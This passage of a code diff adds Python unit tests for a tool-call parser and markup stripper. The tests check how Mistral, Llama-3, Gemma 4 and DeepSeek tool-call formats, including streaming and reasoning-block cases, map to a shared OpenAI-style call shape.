+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}},{"name":"b","arguments":{"y":2}}]'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(result[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_array_string_arguments_are_decoded(self):
+        # OpenAI-spec arguments arrive as a JSON string; decode to an object.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":"{\\"x\\":1}"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_mistral_array_scalar_string_argument_not_double_encoded(self):
+        # A bare scalar string argument in the Mistral array form must be kept
+        # raw, exactly like the <tool_call> path, so the downstream argument
+        # healer wraps ``weather`` into the single-string tool's key -- not
+        # ``"weather"`` with literal quotes from a redundant json.dumps.
+        array = parse_tool_calls_from_text(
+            '[TOOL_CALLS][{"name":"web_search","arguments":"weather"}]'
+        )
+        xml = parse_tool_calls_from_text(
+            '<tool_call>{"name":"web_search","arguments":"weather"}</tool_call>'
+        )
+        assert array[0]["function"]["arguments"] == xml[0]["function"]["arguments"] == "weather"
+        healed = _coerce_arguments(
+            array[0]["function"]["arguments"], heal = True, tool_name = "web_search"
+        )
+        assert healed == {"query": "weather"}
+
+    def test_mistral_array_strip_keeps_trailing_prose(self):
+        # The array form must be removed whole, not deleted to end-of-string.
+        text = 'answer [TOOL_CALLS] [{"name":"a","arguments":{}}] tail'
+        assert strip_tool_markup(text, final = True) == "answer  tail"
+
+    def test_mistral_and_rehearsal_in_one_message_both_parse(self):
+        # A Mistral call and a rehearsal call together: both must parse.
+        text = '[TOOL_CALLS]a{"x":1} then b[ARGS]{"y":2}'
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["a", "b"]
+
+    def test_mistral_v11_call_id_is_not_the_function_name(self):
+        # v11 shape: the function name is ``name``, never the opaque call-id token.
+        result = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[CALL_ID]abc123[ARGS]{"q":"x"}')
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "x"}
+        # v11 without a call-id parses the same name.
+        r2 = parse_tool_calls_from_text('[TOOL_CALLS]get_weather[ARGS]{"q":"y"}')
+        assert r2[0]["function"]["name"] == "get_weather"
+
+    def test_strip_preserves_rehearsal_inside_think(self):
+        # A rehearsal inside <think> is reasoning; strip keeps it verbatim.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        out = strip_tool_markup(text, final = True)
+        assert out == text
+        assert "search[ARGS]" in out
+
+    def test_streaming_strip_preserves_rehearsal_inside_think(self):
+        # The streaming strip must also preserve a think rehearsal: a mid-stream strip shrinks
+        # then regrows the cumulative text (corrupts append-by-length consumers). Matches GGUF.
+        text = '<think>plan: search[ARGS]{"q":"x"}</think> A'
+        assert strip_tool_markup_streaming(text) == text
+        assert strip_tool_markup_streaming(text, tool_protocol_active = True) == text
+        # An unclosed block during streaming is preserved too (the parser keeps it).
+        partial = '<think>plan: search[ARGS]{"q":"x"}'
+        assert strip_tool_markup_streaming(partial, tool_protocol_active = True) == partial
+
+    def test_streaming_strip_still_removes_real_call_outside_think(self):
+        # The think guard must not stop the streaming strip removing a call outside the block.
+        text = '<think>reason</think> web_search[ARGS]{"q":"x"}'
+        out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+        assert "web_search[ARGS]" not in out
+        assert "<think>reason</think>" in out
+
+    def test_strip_bracket_calls_is_linear(self):
+        # Many complete bracket calls must strip in ~linear time (was O(n^2) per match).
+        import time
+
+        text = '[TOOL_CALLS]f{"a":1}' * 4000  # ~80KB, 4000 complete calls
+        t0 = time.perf_counter()
+        out = strip_tool_markup(text, final = True)
+        elapsed = time.perf_counter() - t0
+        assert "[TOOL_CALLS]" not in out
+        assert elapsed < 1.0, f"strip took {elapsed * 1000:.0f}ms on 4000 bracket calls"
+
+    def test_streaming_strip_handles_nested_mistral_json(self):
+        # The non-greedy [TOOL_CALLS]name{...} pattern truncates nested JSON at the first }; the
+        # balanced helper must remove the whole call so no trailing brace leaks to the streaming ...
+        raw = 'ok [TOOL_CALLS]foo{"a":{"b":1}} tail'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_handles_nested_wrapperless_gemma(self):
+        # Same class of bug for the wrapper-less Gemma call:NAME{...} form with a
+        # nested object argument.
+        raw = "ok call:f{loc:{city:NYC},n:3} tail"
+        out = strip_tool_markup_streaming(raw)
+        assert "call:f" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_keeps_prose_after_function_xml_with_literal_marker(self):
+        # A literal ``<function=...>`` in a value is data: the strip must close at the REAL
+        # ``</function>`` and keep trailing prose (the open-ended regex ate to EOF).
+        raw = (
+            "pref <function=python><parameter=code>"
+            'print("<function=x>")</parameter></function> tail'
+        )
+        assert strip_tool_markup_streaming(raw) == "pref  tail"
+        # Streaming and final strip agree on the visible text (final also trims).
+        assert strip_tool_markup_streaming(raw) == strip_tool_markup(raw, final = True)
+
+    def test_streaming_strip_drops_leading_magistral_reasoning(self):
+        # Magistral emits reasoning as a leading ``[THINK]...[/THINK]`` bracket block
+        # (not the ``<think>`` the reasoning channel renders). The streaming display
+        # strip must drop it so the raw chain-of-thought does not leak into the
+        # safetensors content; GGUF routes it to reasoning_content natively.
+        closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4."
+        assert strip_tool_markup_streaming(closed) == "The answer is 4."
+        assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True)
+        # Unclosed mid-stream reasoning is held from the marker on (nothing leaks, and
+        # the cleaned text only grows as the answer streams in after ``[/THINK]``).
+        assert strip_tool_markup_streaming("[THINK]still thinking") == ""
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The") == "The"
+        assert strip_tool_markup_streaming("[THINK]r[/THINK]The answer") == "The answer"
+        # A non-leading ``[THINK]`` is ordinary prose and is left untouched.
+        assert strip_tool_markup_streaming("hi [THINK] later") == "hi [THINK] later"
+
+
+class TestParserMultiFormat:
+    """Shared-parser coverage: every family's emission maps to the same OpenAI shape."""
+
+    # Llama-3
+
+    def test_llama3_python_tag_dot_call(self):
+        # Llama-3 built-in tools: <|python_tag|>NAME.call(k="v", ...).
+        import json
+
+        text = '<|python_tag|>brave_search.call(query="weather in Tokyo")'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "brave_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in Tokyo"}
+
+    def test_llama3_python_tag_dot_call_multi_arg(self):
+        import json
+
+        text = "<|python_tag|>get_weather.call(" 'location="Tokyo", units="celsius", days=5)'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius", "days": 5}
+
+    def test_llama3_python_tag_json_form(self):
+        import json
+
+        text = '<|python_tag|>{"name":"web_search","parameters":{"query":"hi","n":5}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "hi", "n": 5}
+
+    def test_llama3_python_tag_json_form_with_eom(self):
+        # Llama-3 emits ``<|eom_id|>`` after the JSON; must not break parsing.
+        import json
+
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"print(2+2)"}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"code": "print(2+2)"}
+
+    def test_llama3_strip_markup_final(self):
+        text = '<|python_tag|>brave_search.call(query="x")'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_llama3_python_tag_json_form_non_scalar_args_skipped(self):
+        # Should NOT fabricate ``{"value": args}`` when the JSON form
+        # has a non-dict / non-string ``arguments`` value.
+        for bad in (
+            '<|python_tag|>{"name":"foo","arguments":42}',
+            '<|python_tag|>{"name":"foo","arguments":[1,2,3]}',
+            '<|python_tag|>{"name":"foo","arguments":null}',
+            '<|python_tag|>{"name":"foo","arguments":true}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # ── Llama-3.2 bare JSON ``custom_tools`` ─────────────────────
+
+    def test_llama3_2_bare_json_parameters(self):
+        # Llama-3.2-Instruct emits bare JSON directly as content; no
+        # <|python_tag|> prefix per its training template.
+        import json
+
+        text = '{"name":"web_search","parameters":{"query":"Tokyo weather"}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "Tokyo weather"}
+
+    def test_llama3_2_bare_json_arguments_key(self):
+        import json
+
+        text = '{"name":"add","arguments":{"a":1,"b":2}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"a": 1, "b": 2}
+
+    def test_llama3_2_bare_json_multi_call(self):
+        # Llama-3 may chain calls with ``; `` per training template.
+        text = '{"name":"a","parameters":{}}; {"name":"b","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_llama3_2_bare_json_with_eom_sentinel(self):
+        text = '{"name":"x","parameters":{"y":1}}<|eom_id|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_leading_sentinel_skipped(self):
+        # Sometimes prior <|eot_id|> leaks into the next turn.
+        text = '<|eot_id|>{"name":"x","parameters":{}}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "x"
+
+    def test_llama3_2_bare_json_plain_prose_does_not_fire(self):
+        # Defensive: must NOT fire on plain assistant prose.
+        text = "Hello world, how are you today?"
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_embedded_in_prose_does_not_fire(self):
+        # Defensive: JSON embedded in prose must NOT fire (parser is
+        # strict about content STARTING with `{`).
+        text = 'The tool result was: {"name":"foo"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_name_does_not_fire(self):
+        text = '{"result":"ok","data":[1,2,3]}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_missing_args_does_not_fire(self):
+        text = '{"name":"x"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_args_not_dict_does_not_fire(self):
+        text = '{"name":"x","parameters":42}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_parameters_does_not_fire(self):
+        # Llama-3 spec: parameters must be a dict. Prose like
+        # ``{"name":"foo","parameters":"a sentence"}`` must NOT trigger.
+        text = '{"name":"foo","parameters":"this is a sentence"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_not_json_does_not_fire(self):
+        # OpenAI ``arguments`` may be a JSON-string of a dict, but a
+        # plain non-JSON string must not pass the guard.
+        text = '{"name":"foo","arguments":"not json"}'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_llama3_2_bare_json_string_arguments_json_dict_fires(self):
+        # OpenAI shape: arguments is a JSON-encoded string of a dict.
+        text = '{"name":"foo","arguments":"{\\"q\\":\\"x\\"}"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+        # arguments stays as the original JSON-string.
+        assert result[0]["function"]["arguments"] == '{"q":"x"}'
+
+    def test_llama3_2_bare_json_string_arguments_json_non_dict_does_not_fire(self):
+        # JSON-string that parses to a list / scalar / null must NOT fire.
+        for bad in (
+            '{"name":"foo","arguments":"[1,2,3]"}',
+            '{"name":"foo","arguments":"\\"plain\\""}',
+            '{"name":"foo","arguments":"null"}',
+            '{"name":"foo","arguments":"42"}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # Mistral pre-v11
+
+    def test_mistral_pre_v11_array(self):
+        import json
+
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"query":"hello"},"id":"abc"}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        # Mistral provides its own id; preserve it.
+        assert result[0]["id"] == "abc"
+        assert json.loads(result[0]["function"]["arguments"]) == {"query": "hello"}
+
+    def test_mistral_array_parameters_key_alias(self):
+        import json
+
+        # Array object keyed on ``parameters`` (not ``arguments``) must keep its
+        # payload, matching the JSON/XML paths and SGLang's base detector.
+        text = '[TOOL_CALLS] [{"name":"get_weather","parameters":{"city":"Paris"}}]'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Paris"}
+
+    def test_mistral_pre_v11_array_multi(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"x":1},"id":"id1"},'
+            '{"name":"b","arguments":{"y":2},"id":"id2"}]'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_mistral_pre_v11_unclosed_array(self):
+        # Closing ``]`` truncated -- parser must heal off individual objects.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"},"id":"id"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    # Mistral v11+
+
+    def test_mistral_v11_single(self):
+        # Magistral / Mistral Small 3.1: bare ``name{json}`` after trigger.
+        import json
+
+        text = '[TOOL_CALLS]add{"a":3.5,"b":4}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 3.5, "b": 4}
+
+    def test_mistral_v11_parallel(self):
+        # v11+ parallel: ``[TOOL_CALLS]a{...}[TOOL_CALLS]b{...}``.
+        text = '[TOOL_CALLS]add{"a":1}[TOOL_CALLS]sub{"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "add"
+        assert result[1]["function"]["name"] == "sub"
+
+    def test_mistral_v11_with_args_marker(self):
+        # Ministral / Mistral Large 3: ``[TOOL_CALLS]name[ARGS]{json}``.
+        import json
+
+        text = '[TOOL_CALLS]add[ARGS]{"a":1,"b":2}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "add"
+        assert json.loads(result[0]["function"]["arguments"]) == {"a": 1, "b": 2}
+
+    def test_mistral_strip_markup_v11(self):
+        text = '[TOOL_CALLS]add{"a":1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_call_id_form(self):
+        # Mistral Small 3.2: ``[TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}``.
+        # The ``[CALL_ID]`` segment must be skipped, not treated as a stop
+        # (llama.cpp test-chat.cpp:4785 parses this to one call).
+        import json
+
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_mistral_call_id_form_parallel(self):
+        text = (
+            '[TOOL_CALLS]special_function[CALL_ID]000000001[ARGS]{"arg1": 1}'
+            "[TOOL_CALLS]special_function_with_opt[CALL_ID]000000002"
+            '[ARGS]{"arg1": 1, "arg2": 2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "special_function"
+        assert result[1]["function"]["name"] == "special_function_with_opt"
+
+    def test_mistral_call_id_form_stripped(self):
+        text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
+        assert strip_tool_markup(text, final = True) == ""
+
+    def test_mistral_think_reasoning_ignored(self):
+        # Magistral wraps reasoning in ``[THINK]...[/THINK]``. A ``[TOOL_CALLS]``
+        # inside the reasoning is chain-of-thought, not a real call; only the
+        # call after ``[/THINK]`` counts (llama.cpp test-chat.cpp:2285).
+        import json
+
+        text = (
+            '[THINK]Let me think about [TOOL_CALLS]fake[ARGS]{"x":1} '
+            'and more[/THINK][TOOL_CALLS]real_fn[ARGS]{"y":2}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "real_fn"
+        assert json.loads(result[0]["function"]["arguments"]) == {"y": 2}
+
+    def test_mistral_think_reasoning_no_real_call(self):
+        # Reasoning that merely mentions a tool call but does not emit one
+        # after ``[/THINK]`` yields no calls.
+        text = '[THINK]I might call [TOOL_CALLS]fake[ARGS]{"x":1}[/THINK]Done.'
+        assert parse_tool_calls_from_text(text) == []
+
+    def test_mistral_think_literal_in_argument_preserved(self):
+        # A literal ``[THINK]`` inside a real tool argument (after the call)
+        # must not be stripped or corrupt the parse.
+        import json
+
+        text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "explain the [THINK] token"}
+
+    # Gemma 4
+
+    def test_gemma4_simple_call(self):
+        import json
+
+        text = (
+            "<|tool_call>call:get_weather{"
+            'location:<|"|>Tokyo<|"|>,units:<|"|>celsius<|"|>}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"location": "Tokyo", "units": "celsius"}
+
+    def test_gemma4_with_primitives(self):
+        import json
+
+        text = (
+            "<|tool_call>call:set_pref{"
+            "enabled:true,attempts:5,threshold:1.5,nickname:null}<tool_call|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None}
+
+    def test_gemma4_nested_args(self):
+        # Gemma 4 nests dicts / lists with bare keys and ``<|"|>`` strings.
+        import json
+
+        text = (
+            "<|tool_call>call:search{"
+            'query:<|"|>foo<|"|>,filters:{site:<|"|>example.com<|"|>,recent:true},'
+            'tags:[<|"|>a<|"|>,<|"|>b<|"|>]}<tool_call|>'
+        )
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args["query"] == "foo"
+        assert args["filters"] == {"site": "example.com", "recent": True}
+        assert args["tags"] == ["a", "b"]
+
+    def test_gemma4_multi_call(self):
+        text = "<|tool_call>call:a{x:1}<tool_call|><|tool_call>call:b{y:2}<tool_call|>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "a"
+        assert result[1]["function"]["name"] == "b"
+
+    def test_gemma4_unclosed_does_not_raise(self):
+        # Truncated mid-stream; must not raise.
+        text = '<|tool_call>call:foo{x:<|"|>bar<|"|>'
+        result = parse_tool_calls_from_text(text)
+        assert isinstance(result, list)
+
+    def test_gemma4_strip_markup_final(self):
+        text = "<|tool_call>call:foo{x:1}<tool_call|>"
+        assert strip_tool_markup(text, final = True) == ""
+
+    # ── Gemma 4 wrapper-less (skip_special_tokens stripped) ───────────
+
+    def test_gemma4_bare_stripped_call(self):
+        # skip_special_tokens removes <|tool_call>/<tool_call|> and <|"|>,
+        # leaving a bare call:NAME{...} with an unquoted value.
+        import json
+
+        text = "call:web_search{query:weather in San Francisco right now}"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in San Francisco right now"}
+
+    def test_gemma4_bare_code_with_commas(self):
+        # A code value with commas must not truncate at the first comma.
+        import json
+
+        text = (
+            "call:python{code:def f(n):\n    a, b = 0, 1\n"
+            "    for _ in range(2, n+1):\n        a, b = b, a + b\n"
+            "    return b\n\nprint(f(30))}"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result[0]["function"]["name"] == "python"
+        code = json.loads(result[0]["function"]["arguments"])["code"]
+        assert "a, b = 0, 1" in code and "print(f(30))" in code
+
+    def test_gemma4_bare_quotes_normalized(self):
+        # The same value quoted vs unquoted must parse identically so the
+        # agentic loop can collapse a looping model's repeated calls.
+        import json
+
+        a = parse_tool_calls_from_text('call:web_search{query:"foo bar"}')
+        b = parse_tool_calls_from_text("call:web_search{query:foo bar}")
+        assert json.loads(a[0]["function"]["arguments"]) == {"query": "foo bar"}
+        assert json.loads(a[0]["function"]["arguments"]) == json.loads(
+            b[0]["function"]["arguments"]
+        )
+
+    def test_gemma4_bare_multi_arg(self):
+        import json
+
+        text = "call:web_search{query:pytorch latest, url:https://pytorch.org}"
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "pytorch latest", "url": "https://pytorch.org"}
+
+    def test_gemma4_bare_not_matched_in_prose(self):
+        # A word ending in "call:" must not trigger a bare tool call.
+        text = "I will recall:that the function{ } is helpful."
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_gemma4_bare_strip_markup_final(self):
+        text = "Here you go: call:web_search{query:weather today}"
+        assert "call:web_search" not in strip_tool_markup(text, final = True)
+
+    # ── Cross-format sentinels ────────────────────────────────────
+
+    def test_all_markers_in_tool_xml_signals(self):
+        # Streaming buffer wakes up on every emission marker.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            "[TOOL_CALLS]",
+            "<|tool_call>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+    def test_has_tool_signal_for_all_formats(self):
+        assert has_tool_signal('<|python_tag|>brave_search.call(q="x")')
+        assert has_tool_signal('[TOOL_CALLS] [{"name":"x"}]')
+        assert has_tool_signal('[TOOL_CALLS]add{"a":1}')
+        assert has_tool_signal("<|tool_call>call:foo{}<tool_call|>")
+
 
 # ────────────────────────────────────────────────────────────────────
 # run_safetensors_tool_loop
@@ -257,6 +1179,7 @@ class FakeExecuteTool:
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
@@ -312,6 +1235,553 @@ def _make_loop(
     ), exec_fn
 
 
+class TestParserDeepSeek:
+    """DeepSeek R1 / V3 / V3.1 coverage. Markers use full-width pipes
+    (U+FF5C) and lower-one-eighth-block (U+2581). R1 wraps args in a
+    Markdown ``` ```json ``` ``` fence; V3 / V3.1 emit bare JSON."""
+
+    def test_r1_simple_call_with_code_fence(self):
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>function"
+            "<｜tool▁sep｜>special_function\n"
+            "```json\n"
+            '{"arg1": 1}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_r1_short_form_outer_marker(self):
+        # llama.cpp accepts ``<｜tool▁calls｜>`` as the short-form opener.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls｜>function"
+            "<｜tool▁sep｜>get_time\n"
+            "```json\n"
+            '{"city": "Paris"}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_bare_json(self):
+        # V3 / V3.1 omit the ``function`` prefix and the code fence.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_v3_1_multi_call_shares_envelope(self):
+        # Parallel calls share one outer envelope; each inner call has
+        # its own ``<｜tool▁call▁begin｜>...<｜tool▁call▁end｜>``.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_time"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_v3_1_with_reasoning(self):
+        # Reasoning <think>...</think> precedes the tool block.
+        text = (
+            "<think>I'm thinking</think>\n"
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_strict_rejects_unclosed_envelope(self):
+        # Envelope truncated mid-stream (no <｜tool▁calls▁end｜>): healed by
+        # default, rejected with Auto-Heal off.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+        )
+        assert len(parse_tool_calls_from_text(text)) == 1
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+
+    def test_v3_1_multi_call_recovers_when_first_end_marker_missing(self):
+        # First inner call omits its <｜tool▁call▁end｜>; the second must still be parsed.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["get_time", "get_weather"]
+
+    def test_v3_1_strict_recovers_after_missing_call_end(self):
+        # Strict mode (Auto-Heal off): the FIRST inner call is missing its <｜tool▁call▁end｜>
+        # terminator, so it is skipped -- but the parser must keep scanning and still return the ...
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "SF"}'
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"tz": "PST"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        # Auto-Heal keeps both; strict skips the truncated first, keeps the second.
+        assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == [
+            "get_weather",
+            "get_time",
+        ]
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_r1_strict_recovers_after_missing_close_fence(self):
+        # R1 form.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "function<｜tool▁sep｜>get_weather\n```json\n"
+            '{"city": "SF"}'
+            "function<｜tool▁sep｜>get_time\n```json\n"
+            '{"tz": "PST"}'
+            "\n```<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        strict = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert [c["function"]["name"] for c in strict] == ["get_time"]
+
+    def test_deepseek_strip_markup(self):
+        text = (
+            "before "
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_deepseek_signal_wakes_streaming(self):
+        # The streaming buffer state machine must wake on the DeepSeek opener so the rest of the
+        # section is drained instead of leaked.
+        text = "<｜tool▁calls▁begin｜>..."
+        assert has_tool_signal(text)
+
+    def test_deepseek_short_opener_is_stripped(self):
+        # The short ``<｜tool▁calls｜>`` opener is parsed, so its markup must also be stripped (the
+        # strip patterns used to require ...calls_begin and left the short-opener markup leaking to ...
+        text = (
+            "before "
+            "<｜tool▁calls｜>"
+            "<｜tool▁call▁begin｜>foo"
+            "<｜tool▁sep｜>"
+            "{}"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+
+class TestParserGLM:
+    """GLM 4.5 / 4.6 / 4.7 coverage. Marker collides with Qwen's
+    ``<tool_call>`` but the body shape is XML kv pairs instead of JSON,
